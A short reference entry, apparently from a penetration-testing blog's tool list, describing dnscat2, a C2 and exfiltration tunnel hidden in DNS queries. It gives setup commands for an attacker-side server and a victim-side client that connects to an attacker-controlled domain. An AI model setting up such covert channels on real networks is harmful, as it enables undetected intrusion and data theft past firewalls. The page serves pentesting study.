dnscat2
Command channel and tunnel encapsulated in DNS queries.
A tunnel and control channel hidden inside DNS queries. The victim sends data as subdomains of a domain the attacker controls, and replies travel in TXT records; since almost no network blocks outbound DNS, the channel crosses firewalls that drop everything else. It is even slower than the ICMP tunnel, so it is reserved for discreet C2 and low-volume exfiltration, not for pivoting heavy traffic. It needs a domain delegated (or faked) to the dnscat2 server.
Family Pivoting & tunnelling
Flags --dns --secret (server / client)
Concepts DNS Tunneling, Dynamic Port Forwarding (SOCKS)
Cheatsheet socat, ligolo & Meterpreter
Installation
# dnscat2: Ruby server on the attacker + client compiled on the victim
# --- server (attacker) ---
cd dnscat2/server && sudo gem install bundler && sudo bundle install
sudo ruby dnscat2.rb <domain> # <domain> delegated to the attacker as NS
# --- client (compile on the victim or upload the binary) ---
cd dnscat2/client && make && ./dnscat2 <domain>Useful commands
Reference tool: it does not yet appear in a published machine on the blog, but it is part of the arsenal for its everyday use.